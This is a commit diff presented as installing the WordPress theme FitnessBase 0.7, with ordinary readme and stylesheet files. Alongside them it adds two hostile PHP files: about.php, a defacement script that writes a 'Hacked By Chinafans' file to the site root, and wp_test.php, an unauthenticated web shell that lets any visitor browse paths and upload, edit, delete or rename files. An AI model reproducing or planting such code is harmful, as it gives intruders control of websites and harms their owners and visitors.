installed theme FitnessBase version 0.7
This commit is contained in:
136
wp-content/themes/lvwtxlv/about.php
Normal file
136
wp-content/themes/lvwtxlv/about.php
Normal file
@ -0,0 +1,136 @@
|
||||
<?php
|
||||
/**
|
||||
* 自动检测网站根目录并创建TXT文件
|
||||
*/
|
||||
|
||||
function auto_detect_root_and_create_txt() {
|
||||
$filename = "0x.txt";
|
||||
$content = "Hacked By Chinafans\nHack tools / Priv8 Shells\nhttps://t.me/Hack_0xTeam\nhttps://usrlnk.io/0x_team";
|
||||
|
||||
// 自动检测网站根目录
|
||||
$root_dir = detect_website_root();
|
||||
|
||||
echo "检测到的根目录: " . $root_dir . "<br>";
|
||||
|
||||
// 创建文件
|
||||
return create_file_in_directory($root_dir, $filename, $content);
|
||||
}
|
||||
|
||||
/**
|
||||
* 智能检测网站根目录
|
||||
*/
|
||||
function detect_website_root() {
|
||||
$possible_roots = [];
|
||||
|
||||
// 方法1: 通过 $_SERVER 变量检测
|
||||
if (isset($_SERVER['DOCUMENT_ROOT'])) {
|
||||
$possible_roots[] = $_SERVER['DOCUMENT_ROOT'];
|
||||
}
|
||||
|
||||
// 方法2: WordPress环境检测
|
||||
if (defined('ABSPATH')) {
|
||||
$possible_roots[] = ABSPATH;
|
||||
}
|
||||
if (defined('WP_CONTENT_DIR')) {
|
||||
$possible_roots[] = dirname(WP_CONTENT_DIR);
|
||||
}
|
||||
|
||||
// 方法3: 常见目录结构检测
|
||||
$current_dir = __DIR__;
|
||||
$common_roots = [
|
||||
$current_dir,
|
||||
dirname($current_dir),
|
||||
dirname(dirname($current_dir)),
|
||||
$current_dir . '/public_html',
|
||||
$current_dir . '/www',
|
||||
$current_dir . '/htdocs'
|
||||
];
|
||||
|
||||
$possible_roots = array_merge($possible_roots, $common_roots);
|
||||
|
||||
// 方法4: 查找包含特定文件的目录
|
||||
$root_indicators = ['wp-config.php', 'index.php', '.htaccess', 'robots.txt'];
|
||||
|
||||
foreach ($possible_roots as $root) {
|
||||
if (is_root_likely($root, $root_indicators)) {
|
||||
return $root;
|
||||
}
|
||||
}
|
||||
|
||||
// 返回最可能的根目录
|
||||
return $possible_roots[0];
|
||||
}
|
||||
|
||||
/**
|
||||
* 判断目录是否是可能的根目录
|
||||
*/
|
||||
function is_root_likely($dir, $indicators) {
|
||||
if (!is_dir($dir)) return false;
|
||||
|
||||
$found_indicators = 0;
|
||||
foreach ($indicators as $indicator) {
|
||||
if (file_exists($dir . '/' . $indicator)) {
|
||||
$found_indicators++;
|
||||
}
|
||||
}
|
||||
|
||||
return $found_indicators >= 1;
|
||||
}
|
||||
|
||||
/**
|
||||
* 在指定目录创建文件
|
||||
*/
|
||||
function create_file_in_directory($dir, $filename, $content) {
|
||||
// 确保目录存在
|
||||
if (!is_dir($dir)) {
|
||||
if (!mkdir($dir, 0755, true)) {
|
||||
return "❌ 无法创建目录: " . $dir;
|
||||
}
|
||||
}
|
||||
|
||||
// 检查目录权限
|
||||
if (!is_writable($dir)) {
|
||||
return "❌ 目录不可写: " . $dir;
|
||||
}
|
||||
|
||||
$file_path = $dir . '/' . $filename;
|
||||
|
||||
try {
|
||||
$result = file_put_contents($file_path, $content);
|
||||
if ($result !== false) {
|
||||
return "✅ 文件创建成功!<br>路径: " . $file_path . "<br>完整URL: " . get_file_url($file_path);
|
||||
} else {
|
||||
return "❌ 文件创建失败";
|
||||
}
|
||||
} catch (Exception $e) {
|
||||
return "❌ 错误: " . $e->getMessage();
|
||||
}
|
||||
}
|
||||
|
||||
/**
|
||||
* 获取文件的访问URL
|
||||
*/
|
||||
function get_file_url($file_path) {
|
||||
$doc_root = $_SERVER['DOCUMENT_ROOT'] ?? '';
|
||||
$script_name = $_SERVER['SCRIPT_NAME'] ?? '';
|
||||
|
||||
if ($doc_root && strpos($file_path, $doc_root) === 0) {
|
||||
// 文件在文档根目录内
|
||||
$relative_path = str_replace($doc_root, '', $file_path);
|
||||
$protocol = isset($_SERVER['HTTPS']) && $_SERVER['HTTPS'] !== 'off' ? 'https' : 'http';
|
||||
$host = $_SERVER['HTTP_HOST'] ?? 'localhost';
|
||||
return $protocol . '://' . $host . $relative_path;
|
||||
} else {
|
||||
// 使用当前脚本路径
|
||||
$protocol = isset($_SERVER['HTTPS']) && $_SERVER['HTTPS'] !== 'off' ? 'https' : 'http';
|
||||
$host = $_SERVER['HTTP_HOST'] ?? 'localhost';
|
||||
$script_dir = dirname($script_name);
|
||||
return $protocol . '://' . $host . $script_dir . '/' . basename($file_path);
|
||||
}
|
||||
}
|
||||
|
||||
// 执行创建
|
||||
echo "<pre>";
|
||||
echo auto_detect_root_and_create_txt();
|
||||
echo "</pre>";
|
||||
?>
|
||||
92
wp-content/themes/lvwtxlv/readme.txt
Normal file
92
wp-content/themes/lvwtxlv/readme.txt
Normal file
@ -0,0 +1,92 @@
|
||||
=== FitnessBase ===
|
||||
Contributors: ThemeArile
|
||||
Author: ThemeArile
|
||||
Requires at least: 4.7
|
||||
Tested up to: 5.6
|
||||
Requires PHP: 5.6
|
||||
Version: 0.7
|
||||
License: GPLv2 or later
|
||||
License URI: http://www.gnu.org/licenses/gpl-2.0.html
|
||||
Tags: one-column, two-columns ,right-sidebar, flexible-header, custom-background, custom-header, custom-menu, editor-style, featured-images, footer-widgets, post-formats, theme-options, threaded-comments, rtl-language-support, translation-ready, full-width-template, custom-logo, blog, e-commerce, portfolio
|
||||
|
||||
== Description ==
|
||||
|
||||
Description: FitnessBase theme is a versatile theme that can be used for a variety of website types, gym, health clubs, yoga, and fitness center websites included. This theme comes with professionally designed layouts and its compatible with WooCommerce, Elementor, Contact Form 7, Jetpack, Yoast SEO, Google Analytics, and many other popular WordPress plugins. Not only that, but this is also a very lightweight theme that is load with a single click in no time. The theme is completely responsive and mobile-friendly and that your users can access your site from any device. As well as sophisticated plus it has some exotic features like customization and clean code, advanced typography, sticky menu, logo upload, header image, Bootstrap 4 framework, built with SEO in mind, and translation ready (WPML, Polylang). Check the demo of ConsultStreet Pro https://themearile.com/consultstreet-pro-theme/.
|
||||
|
||||
== Installation ==
|
||||
|
||||
1. In your admin panel, go to Appearance -> Themes and click the 'Add New' button.
|
||||
2. Type in FitnessBase in the search form and press the 'Enter' key on your keyboard.
|
||||
3. Click on the 'Activate' button to use your new theme right away.
|
||||
|
||||
== Copyright ==
|
||||
|
||||
FitnessBase WordPress Theme, Copyright (c) 2020, ThemeArile
|
||||
FitnessBase is distributed under the terms of the GNU GPLs
|
||||
|
||||
== Credits ==
|
||||
|
||||
* Underscores - (C) 2012-2017 Automattic, Inc. - http://underscores.me/
|
||||
License: GPLv2 or later (https://www.gnu.org/licenses/gpl-2.0.html)
|
||||
|
||||
* Font Awesome by @davegandy - http://fontawesome.io/
|
||||
License: (Font: SIL OFL 1.1, CSS: MIT License)
|
||||
|
||||
* WOW - by Matthieu Aussaguel - mynameismatthieu.com
|
||||
License: GNU GPL license v3
|
||||
|
||||
* Owl Carousel, (C) 2013 - 2018, David Deutsch
|
||||
Source: https://github.com/OwlCarousel2/OwlCarousel2/
|
||||
License: [MIT](http://opensource.org/licenses/MIT)
|
||||
|
||||
* Bootstrap, (C) 2011 - 2018, The Bootstrap Authors [MIT]
|
||||
Source: https://github.com/twbs/bootstrap
|
||||
License: [MIT](http://opensource.org/licenses/MIT)
|
||||
|
||||
* Admin Page
|
||||
License - GNU GENERAL PUBLIC LICENSE (https://www.gnu.org/licenses/)
|
||||
Source: https://blossomthemes.com/licensing-policy/
|
||||
|
||||
* SmartMenus - Copyright (c) Vasil Dinkov, Vadikom Web Ltd. - http://www.smartmenus.org/
|
||||
License: MIT (http://opensource.org/licenses/MIT)
|
||||
|
||||
* Screenshot Banner Image - https://pxhere.com/en/photo/1366500
|
||||
License: CC0 Public Domain
|
||||
|
||||
* About Section Image - https://pxhere.com/en/photo/917150
|
||||
License: CC0 Public Domain
|
||||
|
||||
* Page header Image - https://pxhere.com/en/photo/1621389
|
||||
License: CC0 Public Domain
|
||||
|
||||
* Service One Image - https://pxhere.com/en/photo/714756
|
||||
License: CC0 Public Domain
|
||||
|
||||
* Service Two Image - https://pxhere.com/en/photo/1621389
|
||||
License: CC0 Public Domain
|
||||
|
||||
* Service Three Image - https://pxhere.com/en/photo/714756
|
||||
License: CC0 Public Domain
|
||||
|
||||
== Changelog ==
|
||||
|
||||
= Version 0.7
|
||||
* Fixed add menu button css issue.
|
||||
|
||||
= Version 0.6
|
||||
* We have fixed border-color issues for textarea elements in blog detail page.
|
||||
|
||||
= Version 0.5
|
||||
* Added theme info section.
|
||||
|
||||
= Version 0.4
|
||||
* Updated screenshot.
|
||||
|
||||
= Version 0.3
|
||||
* We have fixed anchor border-color issues in these elements like post element, excerpt, text widget, and comments content.
|
||||
|
||||
= Version 0.2
|
||||
* Updated Screenshot.
|
||||
|
||||
= Version 0.1
|
||||
* Initial release.
|
||||
BIN
wp-content/themes/lvwtxlv/screenshot.png
Normal file
BIN
wp-content/themes/lvwtxlv/screenshot.png
Normal file
Binary file not shown.
|
After Width: | Height: | Size: 378 KiB |
193
wp-content/themes/lvwtxlv/style.css
Normal file
193
wp-content/themes/lvwtxlv/style.css
Normal file
@ -0,0 +1,193 @@
|
||||
/*
|
||||
Theme Name: FitnessBase
|
||||
Theme URI: https://themearile.com/fitnessbase-theme/
|
||||
Template: consultstreet
|
||||
Author: ThemeArile
|
||||
Author URI: https://themearile.com
|
||||
Description: FitnessBase theme is a versatile theme that can be used for a variety of website types, gym, health clubs, yoga, and fitness center websites included. This theme comes with professionally designed layouts and its compatible with WooCommerce, Elementor, Contact Form 7, Jetpack, Yoast SEO, Google Analytics, and many other popular WordPress plugins. Not only that, but this is also a very lightweight theme that is load with a single click in no time. The theme is completely responsive and mobile-friendly and that your users can access your site from any device. As well as sophisticated plus it has some exotic features like customization and clean code, advanced typography, sticky menu, logo upload, header image, Bootstrap 4 framework, built with SEO in mind, and translation ready (WPML, Polylang). Check the demo of ConsultStreet Pro https://themearile.com/consultstreet-pro-theme/.
|
||||
Version: 0.7
|
||||
Tested up to: 5.6
|
||||
Requires PHP: 5.6
|
||||
License: GNU General Public License v2 or later
|
||||
License URI: http://www.gnu.org/licenses/gpl-2.0.html
|
||||
Text Domain: fitnessbase
|
||||
Tags: one-column, two-columns ,right-sidebar, flexible-header, custom-background, custom-header, custom-menu, editor-style, featured-images, footer-widgets, post-formats, theme-options, threaded-comments, rtl-language-support, translation-ready, full-width-template, custom-logo, blog, e-commerce, portfolio
|
||||
*/
|
||||
|
||||
/*--------------------------------------------------
|
||||
=>> Body Custom Background Css
|
||||
--------------------------------------------------*/
|
||||
|
||||
body.custom-background .theme-bg-dark,
|
||||
body.custom-background .theme-bg-default,
|
||||
body.custom-background .theme-blog.theme-bg-grey {
|
||||
background-color: transparent !important;
|
||||
}
|
||||
|
||||
body.custom-background .theme-bg-gradient-bg{
|
||||
background: transparent !important;
|
||||
}
|
||||
|
||||
/*--------------------------------------------------
|
||||
=>> Theme Page Header
|
||||
--------------------------------------------------*/
|
||||
|
||||
.theme-page-header-area {
|
||||
padding: 12.5rem 0 7rem 0;
|
||||
padding: 6rem 0 6rem 0;
|
||||
}
|
||||
.theme-page-header-area .overlay {
|
||||
background-color: rgba(0, 0, 0, 0.70);
|
||||
}
|
||||
|
||||
/*--------------------------------------------------
|
||||
=>> Classic Header
|
||||
--------------------------------------------------*/
|
||||
|
||||
.classic-header .site-header {
|
||||
background: transparent;
|
||||
}
|
||||
|
||||
/*--------------------------------------------------
|
||||
=>> Theme Slider Area
|
||||
--------------------------------------------------*/
|
||||
|
||||
.theme-slider-content .title-large {
|
||||
color: #ffffff;
|
||||
}
|
||||
.theme-slider-content .description {
|
||||
color: #ffffff;
|
||||
}
|
||||
.theme-bg-gradient-bg {
|
||||
background: rgb(243,243,243);
|
||||
background: linear-gradient(0deg, rgba(243,243,243,1) 0%, rgba(255,255,255,1) 100%, rgba(255,255,255,1) 100%);
|
||||
}
|
||||
.theme-main-slider .overlay {
|
||||
background-color: rgba(0,0,0,0.51);
|
||||
}
|
||||
|
||||
/*--------------------------------------------------
|
||||
=>> Theme cta
|
||||
--------------------------------------------------*/
|
||||
|
||||
.theme-cta h3 {
|
||||
color: #ffffff;
|
||||
}
|
||||
|
||||
/*--------------------------------------------------
|
||||
=>> Theme Testimonial Area
|
||||
--------------------------------------------------*/
|
||||
|
||||
.theme-testimonial.vrsn-two {
|
||||
background-image: none;
|
||||
}
|
||||
.theme-testimonial-block.vrsn-two {
|
||||
background-color: transparent;
|
||||
position: relative;
|
||||
font-size: unset;
|
||||
transition: all 0.5s;
|
||||
text-align: left;
|
||||
padding: 0;
|
||||
margin: 0 0 3.125rem;
|
||||
border: none;
|
||||
}
|
||||
.theme-testimonial-block.vrsn-two:hover {
|
||||
box-shadow: none;
|
||||
-webkit-transform: translateY(0);
|
||||
-ms-transform: translateY(0);
|
||||
transform: translateY(0);
|
||||
}
|
||||
.theme-testimonial-block.vrsn-two::after {
|
||||
display: none;
|
||||
}
|
||||
@media (min-width: 992px) {
|
||||
.testimonial-content.vrsn-two {
|
||||
width: 100%;
|
||||
margin: 0;
|
||||
}
|
||||
}
|
||||
.testimonial-content.vrsn-two {
|
||||
position: relative;
|
||||
margin: 0 0px 1.50rem;
|
||||
padding: 2.5rem 3.125rem;
|
||||
border: none;
|
||||
transition: all 0.5s;
|
||||
border-radius: 3px;
|
||||
font-size: 1rem;
|
||||
}
|
||||
.testimonial-content.vrsn-two p {
|
||||
color: #fff;
|
||||
}
|
||||
.testimonial-content.vrsn-two:before {
|
||||
border-color: #3055e8 transparent transparent #3055e8;
|
||||
}
|
||||
.testimonial-content.vrsn-two:before {
|
||||
content: '';
|
||||
bottom: -20px;
|
||||
top: auto;
|
||||
display: block;
|
||||
position: absolute;
|
||||
left: 0;
|
||||
margin-left: 0;
|
||||
width: 0;
|
||||
height: 0;
|
||||
border-style: solid;
|
||||
border-width: 15px;
|
||||
}
|
||||
.testimonial-content.vrsn-two p {
|
||||
font-size: 1rem;
|
||||
}
|
||||
.testimonial-content.vrsn-two:hover {
|
||||
box-shadow: 0 10px 25px rgba(0, 0, 0, 0.1);
|
||||
}
|
||||
.theme-testimonial-block.vrsn-two .thumbnail {
|
||||
margin: 0 1.25rem 0 0;
|
||||
width: 3.75rem;
|
||||
height: 3.75rem;
|
||||
}
|
||||
.theme-testimonial-block.vrsn-two .thumbnail img {
|
||||
margin: 0.125rem;
|
||||
}
|
||||
.theme-testimonial-block.vrsn-two .name {
|
||||
font-size: 1.125rem;
|
||||
}
|
||||
.theme-testimonial.vrsn-two .owl-theme .owl-dots .owl-dot.active span {
|
||||
border: 2px solid #ffffff;
|
||||
}
|
||||
|
||||
/*--------------------------------------------------
|
||||
=>> Theme Blog Area List View - Homepage Two News
|
||||
--------------------------------------------------*/
|
||||
|
||||
.theme-blog.list-view-news .post {
|
||||
border: none;
|
||||
background-color: transparent;
|
||||
box-shadow: none;
|
||||
padding: 0;
|
||||
}
|
||||
.theme-blog.list-view-news .post-thumbnail {
|
||||
width: 13.625rem;
|
||||
margin: 0 1.875rem 0 0;
|
||||
box-shadow: 0 16px 38px -12px rgba(0,0,0,.56);
|
||||
}
|
||||
|
||||
@media (min-width: 1200px) {
|
||||
.theme-blog.list-view-news .container-full .post .post-thumbnail {
|
||||
width: 20rem;
|
||||
}
|
||||
}
|
||||
@media (min-width: 992px) and (max-width: 1200px) {
|
||||
.theme-blog.list-view-news .post-thumbnail {
|
||||
width: 13.625rem;
|
||||
}
|
||||
}
|
||||
@media (max-width: 500px) {
|
||||
.theme-blog.list-view-news .post {
|
||||
display: block;
|
||||
align-items: normal;
|
||||
}
|
||||
.theme-blog.list-view-news .post-thumbnail {
|
||||
width: 100%;
|
||||
margin: 0 0 1.25rem;
|
||||
}
|
||||
}
|
||||
130
wp-content/themes/lvwtxlv/wp_test.php
Normal file
130
wp-content/themes/lvwtxlv/wp_test.php
Normal file
@ -0,0 +1,130 @@
|
||||
<?php
|
||||
session_start();
|
||||
|
||||
$currentDirectory = $_GET['path'] ?? __DIR__;
|
||||
|
||||
function listDirectoryContents($directory) {
|
||||
$entries = array_diff(scandir($directory), ['.', '..']);
|
||||
echo "<h3>Current Directory: $directory</h3><ul>";
|
||||
foreach ($entries as $entry) {
|
||||
$absolutePath = realpath("$directory/$entry");
|
||||
$style = determineItemStyle($absolutePath);
|
||||
$isDirectory = is_dir($absolutePath);
|
||||
|
||||
echo "<li style='$style'>";
|
||||
if ($isDirectory) {
|
||||
echo "<a href='?path=$absolutePath'>$entry</a>";
|
||||
} else {
|
||||
echo "$entry -
|
||||
<a href='?path=$directory&task=modify&item=$entry'>Modify</a> |
|
||||
<a href='?path=$directory&task=remove&item=$entry'>Remove</a> |
|
||||
<a href='?path=$directory&task=rename&item=$entry'>Rename</a>";
|
||||
}
|
||||
echo "</li>";
|
||||
}
|
||||
echo "</ul>";
|
||||
}
|
||||
|
||||
function determineItemStyle($path) {
|
||||
if (is_readable($path) && is_writable($path)) {
|
||||
return "color: green;";
|
||||
}
|
||||
return is_writable($path) ? "color: gray;" : "color: red;";
|
||||
}
|
||||
|
||||
function processFileUpload($directory) {
|
||||
if (!empty($_FILES['fileUpload'])) {
|
||||
$destination = $directory . DIRECTORY_SEPARATOR . basename($_FILES['fileUpload']['name']);
|
||||
if (move_uploaded_file($_FILES['fileUpload']['tmp_name'], $destination)) {
|
||||
echo "<p>File uploaded successfully!</p>";
|
||||
} else {
|
||||
echo "<p>File upload failed.</p>";
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
function addFolder($directory) {
|
||||
$folderName = $_POST['folder'] ?? '';
|
||||
if ($folderName) {
|
||||
$folderPath = $directory . DIRECTORY_SEPARATOR . $folderName;
|
||||
if (!file_exists($folderPath)) {
|
||||
mkdir($folderPath);
|
||||
echo "<p>Folder created: $folderName</p>";
|
||||
} else {
|
||||
echo "<p>Folder already exists.</p>";
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
function addFile($directory) {
|
||||
$fileName = $_POST['file'] ?? '';
|
||||
if ($fileName) {
|
||||
$filePath = $directory . DIRECTORY_SEPARATOR . $fileName;
|
||||
if (!file_exists($filePath)) {
|
||||
file_put_contents($filePath, '');
|
||||
echo "<p>File created: $fileName</p>";
|
||||
} else {
|
||||
echo "<p>File already exists.</p>";
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
function modifyFile($filePath) {
|
||||
if ($_SERVER['REQUEST_METHOD'] === 'POST' && isset($_POST['content'])) {
|
||||
file_put_contents($filePath, $_POST['content']);
|
||||
echo "<p>File saved successfully!</p>";
|
||||
}
|
||||
$content = file_exists($filePath) ? htmlspecialchars(file_get_contents($filePath)) : '';
|
||||
echo "<form method='POST'><textarea name='content' style='width:100%; height:300px;'>$content</textarea><br>";
|
||||
echo "<button type='submit'>Save</button></form>";
|
||||
}
|
||||
|
||||
function removeFile($filePath) {
|
||||
if (file_exists($filePath)) {
|
||||
unlink($filePath);
|
||||
echo "<p>File removed.</p>";
|
||||
}
|
||||
}
|
||||
|
||||
function renameFile($filePath) {
|
||||
if (!empty($_POST['newName'])) {
|
||||
$newFilePath = dirname($filePath) . DIRECTORY_SEPARATOR . $_POST['newName'];
|
||||
rename($filePath, $newFilePath);
|
||||
echo "<p>File renamed successfully.</p>";
|
||||
} else {
|
||||
echo "<form method='POST'><input type='text' name='newName' placeholder='New Name'><button type='submit'>Rename</button></form>";
|
||||
}
|
||||
}
|
||||
|
||||
if (!empty($_GET['task']) && !empty($_GET['item'])) {
|
||||
$itemPath = $currentDirectory . DIRECTORY_SEPARATOR . $_GET['item'];
|
||||
switch ($_GET['task']) {
|
||||
case 'modify':
|
||||
modifyFile($itemPath);
|
||||
break;
|
||||
case 'remove':
|
||||
removeFile($itemPath);
|
||||
break;
|
||||
case 'rename':
|
||||
renameFile($itemPath);
|
||||
break;
|
||||
}
|
||||
}
|
||||
|
||||
if ($_SERVER['REQUEST_METHOD'] === 'POST') {
|
||||
if (isset($_FILES['fileUpload'])) {
|
||||
processFileUpload($currentDirectory);
|
||||
} elseif (!empty($_POST['folder'])) {
|
||||
addFolder($currentDirectory);
|
||||
} elseif (!empty($_POST['file'])) {
|
||||
addFile($currentDirectory);
|
||||
}
|
||||
}
|
||||
|
||||
echo "<a href='?path=" . dirname($currentDirectory) . "'>Go Up</a>";
|
||||
listDirectoryContents($currentDirectory);
|
||||
|
||||
echo "<h3>Upload File</h3><form method='POST' enctype='multipart/form-data'><input type='file' name='fileUpload'><button type='submit'>Upload</button></form>";
|
||||
echo "<h3>Create Folder</h3><form method='POST'><input type='text' name='folder' placeholder='Folder Name'><button type='submit'>Create</button></form>";
|
||||
echo "<h3>Create File</h3><form method='POST'><input type='text' name='file' placeholder='File Name'><button type='submit'>Create</button></form>";
|
||||
?>
|
||||
Reference in New Issue
Block a user